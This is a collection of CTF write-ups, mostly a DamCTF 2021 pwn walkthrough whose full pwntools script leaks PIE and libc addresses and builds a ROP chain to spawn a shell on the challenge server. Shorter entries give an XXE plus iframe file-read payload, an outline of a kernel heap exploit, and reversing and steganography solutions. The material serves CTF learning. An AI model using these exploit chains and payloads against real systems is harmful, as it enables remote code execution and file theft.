00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
# DamCTF 2021 ## pwn/sir-marksalot > It's pitch black. You are likely to be eaten by a grue.> > `nc chals.damctf.xyz 31313`>> Author: BobbySinclusto> > [`sir-marksalot`](sir-marksalot) Tags: _pwn_ _x86-64_ _bof_ _rop_ _remote-shell_ ## Summary Please read [pwn/magic-marker](../magic-marker) first. This is the same challenge however without ret2win, but with PIE enabled, and NX disabled (shellcode friendly). > This solution uses a ROP chain (no shellcode), so a version of this challenge with all base mitigations in place would still fall to this exploit.> > I'm not suggesting this is the best way to solve this challenge, just _a_ way without using shellcode.>> There's less than a 1 in 64 chance this will work per trial (retries are built into the code). **UPDATE: see [Postscript](#Postscript) for a second solution with a near 100% chance of success.** ## Analysis ### Checksec ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments``` NX disabled/Has RWX segments = Use shellcode. `ropper --file sir-marksalot` reveals some nice gadgets to use as well: ```0x0000000000000990: pop rbp; ret;0x0000000000001a03: jmp qword ptr [rbp];``` To use these (or any ROP gadgets) we'll first have to leak the base address. > As stated in the Summary above, I'm not going to use shellcode, but all ROP.> > I'm sure the other write-ups will use shellcode, in short, the path to shellcode is a leak above the maze. ### Decompile with Ghidra Please read [pwn/magic-marker](../magic-marker) first. It's the same exploit, `fgets`, just with PIE enabled so we need a leak, and a lot of checking when moving _off grid_, and we'll also have a time constraint of 60 seconds, and there's no simple `q` to run our ROP chain; we'll have to find the Grue to exit the maze and run our exploit. The time constraint is not in the code, probably how it is run on the challenge server, a simple `time nc ...` can be used to determine the time constraint. ## Exploit In short, like [pwn/magic-marker](../magic-marker) we'll get to the lower right corner, then bust out of the maze and move East to write out a ROP chain while not messing with the canary. This is no simple task and will require checks and retries. Then we have to backtrack back to the maze and find the Grue (quickly, IOW we cannot search, we have to _know_). On Grue our ROP chain will execute. We have to do this twice. The first time is to leak libc, then second time for the shell. > There may be better single pass methods where libc can be leaked with the base address, but I didn't find one; I was also in a hurry (its a CTF after all, more to pwn). To optimize for time we need to _fail fast_. ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./sir-marksalot') while True: context.log_level = 'INFO' if args.REMOTE: p = remote('chals.damctf.xyz', 31314) libc = ELF('libc6_2.27-3ubuntu1.4_amd64.so') binary.address = libc.address = 0 else: p = process(binary.path) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') binary.address = libc.address = 0``` Standard pwntools header, however in a loop (`while True:`). There are numerous conditions that need to be checked, if the condition is not met we start over. We will require more moves than a shellcode solution. There's only a 1 in 64 chance this will work on any attempt. > libc is required for the 2nd ROP chain, and is not included (not needed for shellcode). To find libc I had to leak libc first and then use an online libc database. Fortunately there was only one match for the libc leak: [`https://libc.blukat.me/d/libc6_2.27-3ubuntu1.4_amd64.so`]() ```python # pass 1 from ctypes import * glibc = cdll.LoadLibrary('libc.so.6') glibc.srand(glibc.time(None)) log.info('pass 1') t = time.time() # get started p.sendlineafter(b'?\n',b'jump up and down') # find myself (array base 1) p.sendlineafter(b'): ',b'm') x = y = 0 for i in range(81): _ = p.recvline().strip() if b'|' in _: y += 1 if b'*' in _: x = (2 + _.find(b'*')) // 4 break # check we have a match for the seed dy = glibc.rand() % 0x28 dx = glibc.rand() % 0x28 log.info('rand {dx},{dy}'.format(dx = dx + 1, dy = dy + 1)) if x != dx + 1 or y != dy + 1: log.critical('rand mismatch') p.close() continue``` In this first section of code we get the time from libc, start our own timer for time checks (just information to make sure we're under 60 seconds), find ourself in the maze, then compute using the same logic as in the code where we should be, finally we compare where we should be with where we are. If there's a match, then we have the correct rand seed. ```python gy = glibc.rand() % 0x28 gx = glibc.rand() % 0x28 log.info('grue at {gx},{gy}'.format(gx = gx + 1, gy = gy + 1)) # lazy, not covering "edge" cases if gx == 39 or gy == 39: log.critical('grue on edge') p.close() continue # kick down the walls and get to the lower right avoiding grue if gx == dx: for i in range(40 - x): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') for j in range(40 - y): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b's') if gx != dx: for i in range(40 - x): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') log.info('time check: {s}s'.format(s = time.time() - t))``` With the rand seed confirmed we can move on and compute the location of the Grue. > It's important to follow the code and check all calls to `rand()` so that you call them in the correct order in your exploit code. With the location of the Grue known we can move to the lower right corner without prematurely ending our run with a Grue collision. > Above I ignored the cases were the Grue was on the lower right corner, or started where we started, or if both of us were on an edge. For the edge cases, I just started over. ```python # lets bust out of here, return to the east p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') # canary block, cannot change, but can check for East/West _ = p.recvuntil(b'What would you like') if b'West' not in _: log.critical('cannot backtrack 4') p.close() continue if b'East' not in _: log.critical('cannot forwardtrack 2') p.close() continue``` Just like [pwn/magic-marker](../magic-marker), we move East `0x20` bytes at a time with the ability to change all `0x20` bytes, and just like [pwn/magic-marker](../magic-marker) we skip over the canary, however this time we'll read a specific block first before overwriting it to get a base address leak. > Note the checks for East/West movement. From the tile/block with the canary there's a stack pointer on the stack line that contains the wall nibble. We cannot check directly, but the game will check for us. It is required that we have both East and West movement to move forward and eventually back. With a 50/50 probability of each bit being set there's only a 1 in 4 chance of making it past this check. Stack just before `fgets` (in next code block below): ```0x00007fff43a62280│+0xc800: 0xffffffffffffffff0x00007fff43a62288│+0xc808: 0xffffffffffffffff0x00007fff43a62290│+0xc810: 0xffffffffffffffff0x00007fff43a62298│+0xc818: 0xffffffffffffffff 0x00007fff43a622a0│+0xc820: 0x00000000000001000x00007fff43a622a8│+0xc828: 0x3355a9ac1aa38c000x00007fff43a622b0│+0xc830: 0x000056280c8015d8 → "Oh no! The ground gives way and you fall into a da[...]"0x00007fff43a622b8│+0xc838: 0x00007fff43a622f0 → "jump up and down\n" 0x00007fff43a622c0│+0xc840: 0x000056280c801217 → "jump up and down\n" ← $rdi, $r130x00007fff43a622c8│+0xc848: 0x000056280c8011fc → "I'm not sure I understand."0x00007fff43a622d0│+0xc850: 0x00007fff43a62420 → 0x00000000000000010x00007fff43a622d8│+0xc858: 0x0000000000000000 0x00007fff43a622e0│+0xc860: 0x00000000000000000x00007fff43a622e8│+0xc868: 0x000056280c80090d → <main+173> xor eax, eax``` Above you can see the `0x20 * b'\xff'` write from the previous code block, followed by a 32-byte block with the canary, followed by a block starting with location within the base process (the static string `jump up and down\n`). This will be leaked after `On the wall is written: ` is emitted. Once we have this, it is safe to destroy. ```python p.sendlineafter(b'): ', b'd') p.recvuntil(b'On the wall is written: ') leak = u64(p.recv(6) + b'\0\0') log.info('leak: {leak}'.format(leak = hex(leak))) binary.address = leak - binary.search(b'jump up and down\n').__next__() log.info('binary.address: {loc}'.format(loc = hex(binary.address))) pop_rdi = binary.search(asm('pop rdi; ret')).__next__() payload1 = b'' payload1 += 8 * b'\xff' payload1 += p64(pop_rdi) payload1 += p64(binary.got.puts) payload1 += p64(binary.plt.puts) if payload1.find(b'\n') != -1: log.critical('NL in payload 1') p.close() continue if payload1[28] & 1 == 0: log.critical('cannot backtrack 2') p.close() continue if payload1[28] & 4 == 0: log.critical('cannot forwardtrack 4') p.close() continue payload2 = b'' payload2 += p64(binary.sym.main) payload2 += 8 * b'\xff' payload2 += 8 * b'\xff' payload2 += 8 * b'\xff' if payload2.find(b'\n') != -1: log.critical('NL in payload 2') p.close() continue``` After getting the base process leak we can compute both parts of the ROP chain and check if either have any NLs (will terminate `fgets` early), and if `payload1`'s 28th byte (the wall nibble) will allow East/West movement. If any of these checks fail, then we'll have to start over. Ignoring the probably of NLs (small), like the canary block probability, we have a 1 in 4 chance of having the correct bits set. The combined probably of getting past this point is 1 in 16. ```python p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', payload1) p.sendlineafter(b'): ', b'd') p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', payload2) p.sendlineafter(b'): ', b'a') p.sendlineafter(b'): ', b'a') p.sendlineafter(b'): ', b'a') p.sendlineafter(b'): ', b'a') log.info('time check: {s}s'.format(s = time.time() - t))``` After writing out our ROP chain to leak libc, we'll have to backtrack out by going West. At this point we know if it is possible to forward/backtrack based on the previous tests, so just move forward, write out ROP chains, then return back to the lower right corner of the maze. ```python # kick down walls to the grue for i in range(39 - gx): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'a') for j in range(39 - gy): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'w') log.info('time check: {s}s'.format(s = time.time() - t)) p.recvuntil(b'Grue.\n') leak = u64(p.recv(6) + b'\0\0') log.info('leak: {leak}'.format(leak = hex(leak))) libc.address = leak - libc.sym.puts log.info('libc.address: {loc}'.format(loc = hex(libc.address))) payload1 = b'' payload1 += 8 * b'\xff' payload1 += p64(pop_rdi+1) payload1 += p64(pop_rdi) payload1 += p64(libc.search(b'/bin/sh').__next__()) if payload1.find(b'\n') != -1: log.critical('NL in payload 1') p.close() continue if payload1[28] & 4 == 0: log.critical('cannot forwardtrack 4') p.close() continue if payload1[28] & 1 == 0: log.critical('cannot backtrack 2') p.close() continue payload2 = b'' payload2 += p64(libc.sym.system) payload2 += 8 * b'\xff' payload2 += 8 * b'\xff' payload2 += 8 * b'\xff' if payload2.find(b'\n') != -1: log.critical('NL in payload 2') p.close() continue``` Once back to the lower right corner we can just head to the Grue, that will trigger our ROP chain and leak libc. With libc location known, we can quickly check if the 2nd pass ROP chain will be able to track forward and back. Again another 1/4 chance, moving our total chance for success/attempt 1 in 32. ```python # pass 2 glibc = cdll.LoadLibrary('libc.so.6') glibc.srand(glibc.time(None)) log.info('pass 2') # get started p.sendlineafter(b'?\n',b'jump up and down') # find myself (base 1) p.sendlineafter(b': ',b'm') x = y = 0 for i in range(80): _ = p.recvline().strip() if b'|' in _: y += 1 if b'*' in _: x = (2 + _.find(b'*')) // 4 break log.info('x,y = {x},{y}'.format(x = x, y = y)) if x == 0: log.critical('no * to be found') p.close() continue # check we have a match for the seed dy = glibc.rand() % 0x28 dx = glibc.rand() % 0x28 log.info('rand {dx},{dy}'.format(dx = dx + 1, dy = dy + 1)) if x != dx + 1 or y != dy + 1: log.critical('rand mismatch') p.close() continue gy = glibc.rand() % 0x28 gx = glibc.rand() % 0x28 log.info('grue at {gx},{gy}'.format(gx = gx + 1, gy = gy + 1)) # lazy, not covering "edge" cases if gx == 39 or gy == 39: log.critical('grue on edge') p.close() continue # kick down the walls and get to the lower right avoiding grue if gx == dx: for i in range(40 - x): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') for j in range(40 - y): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b's') if gx != dx: for i in range(40 - x): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') log.info('time check: {s}s'.format(s = time.time() - t)) # lets bust out of here, return to the east p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') # canary block, cannot change, but can check for East/West _ = p.recvuntil(b'What would you like') if b'West' not in _: log.critical('cannot backtrack 4') p.close() continue if b'East' not in _: log.critical('cannot forwardtrack 2') p.close() continue``` The 2nd pass starts out not much different from the 1st pass, it was a cut/paste job. A new rand seed is generated, etc... > I could have just jumped back to `play_maze`, and kept the old seed, but timewise it really will not matter much. I guess less of a chance with a 2nd rand mismatch. It was already tested code, so I didn't bother. At the start of the 2nd pass we know that our new ROP chain will not have any East/West movement problems or NLs. At this point there's a 1 in 4 chance it will succeed, i.e. the canary block. If this passes, then we will get a shell, IFF we do not run out of time. If the Grue and/or the player (us) is in the upper left corner area, then we could run out of time: ```bash[*] pass 2[*] x,y = 25,6[*] rand 25,6[*] grue at 6,22[*] time check: 47.19852542877197s[*] time check: 48.53908085823059s``` > The player (us) and Grue are a ways away from 40, 40. This trial ran out of time. The combined probability of getting this far is 1 in 64. ```python p.sendlineafter(b'): ', b'd') p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', payload1) p.sendlineafter(b'): ', b'd') p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', payload2) p.sendlineafter(b'): ', b'a') p.sendlineafter(b'): ', b'a') p.sendlineafter(b'): ', b'a') p.sendlineafter(b'): ', b'a') log.info('time check: {s}s'.format(s = time.time() - t)) # kick down walls to the grue for i in range(39 - gx): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'a') if time.time() - t >= 59: break if time.time() - t >= 59: log.critical('out of time') p.close() continue for j in range(39 - gy): p.sendlineafter(b'): ', b'x') p.sendafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'w') if time.time() - t >= 59: break if time.time() - t >= 59: log.critical('out of time') p.close() continue log.info('time check: {s}s'.format(s = time.time() - t)) p.recvuntil(b'Grue.\n') break #p.interactive()p.sendline(b'cat flag')print(p.recvline().strip().decode())``` The rest is downhill assuming we do not run out of time. Like before the ROP chain will be written out, the Grue found, and the chain executed. Output: ```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/damctf2021/sir-marksalot/sir-marksalot' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments[+] Opening connection to chals.damctf.xyz on port 31314: Done[*] '/pwd/datajerk/damctf2021/sir-marksalot/libc6_2.27-3ubuntu1.4_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] pass 1[*] rand 17,22[CRITICAL] rand mismatch[*] Closed connection to chals.damctf.xyz port 31314[+] Opening connection to chals.damctf.xyz on port 31314: Done[*] pass 1[*] rand 38,24[*] grue at 36,2[*] time check: 3.4693713188171387s[*] leak: 0x55cdfc1d1217[*] binary.address: 0x55cdfc1d0000[*] time check: 4.648568630218506s[*] time check: 12.33139157295227s[*] leak: 0x7fad54c72aa0[*] libc.address: 0x7fad54bf2000[*] pass 2[*] x,y = 29,31[*] rand 29,31[*] grue at 2,31[*] time check: 16.73600125312805s[*] time check: 18.195335865020752s[*] time check: 27.541880130767822sdam{1n73N710N4LLy_93771n9_3473n_8y_4_9rU3-7H47_w42_9Ru3S0M3}``` I know what you're thinking, I cherry picked that. We'll I didn't, this was pure luck. Number of retries per run: ```run1:1run2:39run3:4run4:17run5:21``` So doing a bit better than 1 in 64. There was one run (omitted) that timed out (took longer than 60 seconds). There was a few runs that bombed out. Probably a network error (I didn't try to catch them). Error counts: ``` 35 [CRITICAL] cannot backtrack 4 15 [CRITICAL] cannot forwardtrack 4 15 [CRITICAL] cannot backtrack 2 13 [CRITICAL] rand mismatch 4 [CRITICAL] grue on edge``` `cannot backtrack 4` comes from the first coin flip. It's not surprising it is the most frequent and exactly 1/2 of the 70 (65 retries + 5 passed) trials that did not restart on `rand mismatch` or `grue on edge` (both of these are early failures). `forwardtrack 4` and `backtrack 2` are from the ROP chains first block. Also not surprising, of the 35 trials that made it through, it was expected that ~1/2 would fail with `forwardtrack 4` and ~1/2 would fail with `cannot backtrack 2` I didn't label the first or second ROP chains differently, but with the magic of editing the logs, I can: ``` 35 [CRITICAL] cannot backtrack 4 14 [CRITICAL] cannot backtrack 2 13 [CRITICAL] rand mismatch 11 [CRITICAL] cannot forwardtrack 4 4 [CRITICAL] grue on edge 4 [CRITICAL] cannot forwardtrack 4 libc 1 [CRITICAL] cannot backtrack 2 libc``` These numbers are not surprising given how many checks force a restart. ## Postscript User **TheBadGod[flagbot]** from DamCTF Discord #pwn pointed out that moving South to avoid the Canary was also an option, one that I didn't care to consider since I based this on a modified version of [pwn/magic-marker](../magic-marker), however it only took a few minutes to test, so why not? ``` exploit.py exploit2.py======================================== =========================================== | |+ +---+ .---------- canary + +---+ .------------- canary| | | / .------- leak | | | / .---------- leak+ + + / / .---- ROP payload1 + + + / / .------- ROP payload1 | / / / .- ROP payload2 | / / / .---- ROP payload2+---+---+ / / / / +---+---+ / / / / .- ROP payload3 | / / / / | / / / / /+ +---+---+---+---+---+ + +---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | * | ☠ | 4 | 5 | 6 | 7 |+---+---+---+---+---+---+ +---+---+---+---+---+---+---+ | 1 | 2 | 3 | +---+---+---+``` Above is the path taken by both exploits. The `*` is in the lower right corner of the maze. The tiles to the South and East are 32-byte blocks, the numbers in the tiles, the path taken. The maze is stored as an array of rows. East will move down stack 32 bytes at a time, however South will move down stack 1280 bytes. This probably puts us around the environment area of the stack--safe to vandalize with our magic marker. By avoiding the Canary block randomization, this increases our odds of getting the flag to 1 in 4. There's still the first part of the ROP chain to deal with; by changing the pass 1 ROP chain to use three blocks with the last 8 bytes all `0xff` and some `pop`s to move RSP down, we can be certain our forward and backwards movement will be unimpeded. This almost guarantees our success. New ROP chains: ```python payload1 = b'' payload1 += 8 * b'\xff' payload1 += p64(pop_2) payload1 += 8 * b'\xff' payload1 += 8 * b'\xff' payload2 = b'' payload2 += p64(pop_rdi) payload2 += p64(binary.got.puts) payload2 += p64(pop_2) payload2 += 8 * b'\xff' payload3 = b'' payload3 += 8 * b'\xff' payload3 += p64(binary.plt.puts) payload3 += p64(binary.sym.main) payload3 += 8 * b'\xff'``` and ```python payload1 = b'' payload1 += 8 * b'\xff' payload1 += p64(pop_2) payload1 += 8 * b'\xff' payload1 += 8 * b'\xff' payload2 = b'' payload2 += p64(pop_rdi) payload2 += p64(libc.search(b'/bin/sh').__next__()) payload2 += p64(libc.sym.system) payload2 += 8 * b'\xff'``` In both cases the first block is just a burner block, the first row cannot be used since the return address is on the second row. Popping twice will put us at the next block. We can have as many blocks as we like and have no problem moving around as long as the last row is `0xff` (more precisely one nibble). NOTE: Stack alignment matters. Of 20 runs the follow conditions forced a retry: ``` 9 [CRITICAL] rand mismatch 1 [CRITICAL] out of time``` The `9` for `rand mismatch` is not a surprise, this would imply a ~0.5s startup remotely. All 20, with approximately a single retry every other attempt, completed and _captured the flag_.
___# xorpals_(crypto, 188 points, 435 solves)_ One of the 60-character strings in the provided file has been encrypted by single-character XOR. The challenge is to find it, as that is the flag. Hint: Always operate on raw bytes, never on encoded strings. Flag must be submitted as UTF8 string. [flags.txt](./flags.txt)___
**web/include me**flag is in /ctf/flag.txtflag: `EHACON{lf1_@nd_xx3_1s_fun}` ```d = """ ]><root><email>&xx;;</email><password>lol</password></root>"""requests.post("http://chall.ctf-ehcon.ml:32104/login.php", data=d).text``` to get flag.phpfrom flag.php you can send POST req to flag.phpuse html iframe attack ```requests.post("http://chall.ctf-ehcon.ml:32104/flag.php", data={"content": "<html><head></head><body><iframe src='file:///ctf/flag.txt'></iframe></body></html>"})``` then go to http://chall.ctf-ehcon.ml:32104/files/result.pdf
# Seeking the flag by lrcashem Rumors that the file may have information that you need ## Analysis In this challenge we were given an ELF-64bit named `rev` with no canary, NX enabled, and PIE is also enabled.```rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,BuildID[sha1]=f9e34699153b5af04e617da197bd0f0e7453b73c, for GNU/Linux 3.2.0, not stripped[*] '/home/kali/Documents/ehcon/rev' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled``` Let's try to run it```$ ./rev:( Try Again...``` It seems that the program will not give any output. So, let's open the program using ida to see what the source code looks like.```push rbpmov rbp, rspsub rsp, 30hmov [rbp+var_24], edimov [rbp+var_30], rsimov rax, 667B4E4F43414845hmov rdx, 355F6E315F67406Chmov [rbp+var_20], raxmov [rbp+var_18], rdxmov rax, 7D35676E317274hmov [rbp+var_10], raxlea rdi, format ; ":( Try Again..."mov eax, 0call _printfnopleaveretn``` From this part, we can see that there is three hexadecimal numbers that is kinda odd. When I want to change the format by right clicking on the hexadecimal number, the number represent some sort of string.```push rbpmov rbp, rspsub rsp, 30hmov [rbp+var_24], edimov [rbp+var_30], rsimov rax, 'f{NOCAHE'mov rdx, '5_n1_g@l'mov [rbp+var_20], raxmov [rbp+var_18], rdxmov rax, '}5gn1rt'mov [rbp+var_10], raxlea rdi, format ; ":( Try Again..."mov eax, 0call _printfnopleaveretn``` It seems that the flag is written and passed to a registry and the format of the flag is EHACON{some_string}. So we know that the string is reversed. Now we need to reversed it again. I'm going to use python for reversing the string. Payload```pythona = "f{NOCAHE"b = "5_n1_g@l"c = "}5gn1rt"print (a[::-1] + b[::-1] + c[::-1])``` Now all we need to do is just press enter![](SeekingTheFlag.png) flag: `EHACON{fl@g_1n_5tr1ng5}`
Null byte poisoning in alloc and edit, and limited OOB write in edit in kmalloc-128. Heap massage to create a free chunk in the driver's note chunk linked list, and replace it with a msg_msg object that links to msg_msg objects in kmalloc-96, allowing the driver to traverse into a different slab. Utilize edit to corrupt the size field of a kmalloc-96 msg_msg object to obtain OOB read and KASLR leak from subprocess_info. Now, redo the heap massage, fix the driver's linked list, and double free to freelist poison onto modprobe_path.
tl;dr RSA with the following details:- `N = P**8 * Q * R`- `M` is divisible by P, thus **not** co-prime with `N`- `E` and `D` are usual RSA parameters: `E = 65537` and `E*D ≡ 1 (mod φ(N))`- `C = M**E (mod N)` is known- `D(C) = (M**E)**D (mod N)` is known as well `M = P*X`, and find `P` and `X` separately.
# Famous Pin by lrcashem Help Mr. Bean in recovering his pin. He only remembers that he had set a very famous pin. Connect at chall.ctf-ehcon.ml:32202 ## Analysis In this challenge we were given an ELF-64bit named `pinr` with everything enabled (sfx: oh no :))).```pin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6afd69ea26548011d618d32bb34cfa86ddc177a2, for GNU/Linux 3.2.0, not stripped[*] '/home/kali/Documents/ehcon/pin' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled``` Let's try to run it```$ ./pin Please provide the pin to get the flag:``` It seems that the program will ask for input and if we give the correct input, the program will give us the flag. So, let's open the program using ida to see what the source code looks like.```cint __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rdx __int64 v4; // rdx const char *v5; // rdi __int64 v6; // rdx unsigned int v7; // eax int result; // eax unsigned __int64 v9; // rcx unsigned __int64 v10; // rt1 __int16 v11; // [rsp-2Ah] [rbp-2Ah] unsigned __int64 v12; // [rsp-20h] [rbp-20h] __asm { endbr64 } v12 = __readfsqword(0x28u); sub_10F0(stdin, 0LL, envp); sub_10F0(stdout, 0LL, v3); sub_10F0(stderr, 0LL, v4); sub_1110("Please provide the pin to get the flag: "); sub_1120(&v11, 10LL, stdin); if ( (unsigned __int64)sub_10D0(&v11) > 4 ) { v7 = sub_1130(&v11); if ( 8208 == (unsigned int)function(v7) ) { sub_10C0("[+] Okay, You got it. Here is your flag: "); v5 = "cat flag.txt"; sub_1100("cat flag.txt"); } else { v5 = "[-] Naah, Try again..."; sub_10C0("[-] Naah, Try again..."); } } else { v5 = "The pin is too short."; sub_10C0("The pin is too short."); } result = 0; v10 = __readfsqword(0x28u); v9 = v10 ^ v12; if ( v10 != v12 ) result = sub_10E0(v5, 10LL, v6, v9); return result;}``` From the main function, we can see the value of the pin that is hardcoded into the program. So, lets try to give `8208` as an input.![](famousPinTryLocal.png) BINGO! We get the flag! But since in my folder there is no flag.txt, the program cannot give the flag.txt Now all we need to do is just to run it remotely.![](famousPin.png) flag: `EHACON{@rm51r0ng_numb3r_1t_w@5}`
**Step 1** Use the Network Tab and see for the scripts being loaded, there we see a suspicious script named as "custom.js" [https://imgur.com/QzcXC8B](https://imgur.com/QzcXC8B) **Step 2** On analysing the code inside the script, we see a password field as "if(u == "admin" && p=== ....)" with URIComponent [https://imgur.com/RKaPGp1](https://imgur.com/RKaPGp1) **Step 3** Use the Developer tab to decode the URIComponent [https://imgur.com/R0xgQy4](https://imgur.com/R0xgQy4) **Step 4** Viola you have your flag [https://imgur.com/xPB2yos](https://imgur.com/xPB2yos)
On the downloaded image, run `stegseek --seed` to verify if there is steghide data embedded within the image. Eventually, this will give us confirmation that there *is* data inside. Running `stegseek --crack` on the image (using rockyou, although I used the [weakpass_3](https://weakpass.com/) wordlist) will eventually stumble upon an embedded zip file. The zip file's magic bytes are set to an ELF, which is obviously incorrect. Fix the header bytes to that of a standard ZIP file, and then unzip it. If done correctly, it *should* grant us two files: a PCAP file and a "flag.jpg" file. Running `stegseek --seed` again shows us that the flag.jpg file also has embeded data, but this time it will not make itself visible with the wordlist. This tells us that we are going to have to find the correct password to it somewhere else. Which is where the extracted PCAP file comes into play. Opening the PCAP file will, on surface level, present us with seemingly innocuous data. However, if we take a closer look at the title (I C More Packets), it gives us a hint. The abbreviation of this is **ICMP**, which is an abbreviation for a specific type of protocol, mainly the **Internet Control Message Protocol**. If we search the PCAP data and filter it for packets *only* using ICMP, and take a closer look at the provided packets, the data sent between them (when chained up together) spells out a "flag". This "flag" can then be used on our flag.jpg file (using steghide) to extract the *actual* flag.
# K3RN3L DROID## Description > I have build my own system that allow to log-in into K3RN3L DR0ID, but unfortunately i forgot the password, can you help me recover it? ## Source I attached in `../src/kernel-droid.asm` :D Check it out if you want ## Solution The first, find the length of PIN- This label call `invalid_pin_length` - Condition to jump to `invalid_pin_length` is `jne` (`jump not equal`) --> Length is `0x8 = 8````aslabel4: lea rdi, [pinCode] call gets mov rdi, rax call strlen cmp rax, 0x8 jne invalid_pin_length je label5 jmp end``` Next, identify each character in PIN in `label5` (this is snippet code)- The trick is reverse the conditioon ψ(`∇´)ψ For example the first char. We will reverse the condition in comparation to eliminate the invalid value range. Therefore, `jne invalid_pin => if PIN + 0x0 != 0x30, jump invalid_pin`, and result is `PIN + 0x0 = 0x30 --> don't jump ❌` [pinCode + 0x0]- `equal 0x30````py mov r9b, [pinCode + 0x0] cmp r9b, 0x30 jne invalid_pin cmp r9b, 0x31 je invalid_pin cmp r9b, 0x32 je invalid_pin cmp r9b, 0x35 je invalid_pin``` [pinCode + 0x1]- `equal 0x34` ```py mov r9b, [pinCode + 0x1] cmp r9b, 0x34 jne invalid_pin```The third- `less or equal than 0x37` - `equal 0x30````py mov r9b, [pinCode + 0x2] cmp r9b, 0x37 jg invalid_pin cmp r9b, 0x30 jne invalid_pin``` [pinCode + 0x3]- `equal 0x30` ```py mov r9b, [pinCode + 0x3] cmp r9b, 0x39 je invalid_pin cmp r9b, 0x30 jne invalid_pin``` [pinCode + 0x4]- `less or equal 0x31` - `not below 0x31````py mov r8b, [pinCode + 0x4] cmp r8b, 0x31 jb invalid_pin cmp r8b, 0x32 jge invalid_pin``` [pinCode + 0x5]- `not below or equal 0x30`- `not above or equal 0x32````py mov r8b, [pinCode + 0x5] cmp r8b, 0x30 jbe invalid_pin cmp r8b, 0x32 jae invalid_pin``` [pinCode + 0x6]- `equal 0x39````py mov r8b, [pinCode + 0x6] cmp r8b, 0x39 jne invalid_pin``` [pinCode + 0x7]- `greater or equal 0x36`- `less or equal 0x36````py mov r8b, [pinCode + 0x7] cmp r8b, 0x36 jl invalid_pin cmp r8b, 0x36 jg invalid_pin jmp valid_pin``` Summary: `AND` each condition in each label, you'll have ```pylength = 8[pinCode + 0x0] = 0x30[pinCode + 0x1] = 0x34[pinCode + 0x2] = 0x30[pinCode + 0x3] = 0x30[pinCode + 0x4] = 0x31[pinCode + 0x5] = 0x31[pinCode + 0x6] = 0x39[pinCode + 0x7] = 0x36--> Convert to ascii 04001196``` In section `.data` define form of flag```assection .data welcomeMessage db "Welcome in KernelDroid, please input your PIN code to enter into phone", 0 invalidPinLengthMessage db "I'm sorry your pin is not valid, at least it should be 8 (0-9) numbers length for example. 123456789", 0 invalidPinMessage db "This is not valid PIN!", 0 validPinMessage db "Great, your flag flag{K3RN3L_DR0ID_%s}", 0``` Replace our PIN into flag and the flag was captured ?? ``` Flag is : flag{K3RN3L_DR0ID_04001196}```
**A secret conversation** - There is no much leads with the challenge description- Running a basic directory wordlist will give the flag at /.well-known/flag.txt endpoint `EHACON{rfc_fr0m_13tf}`
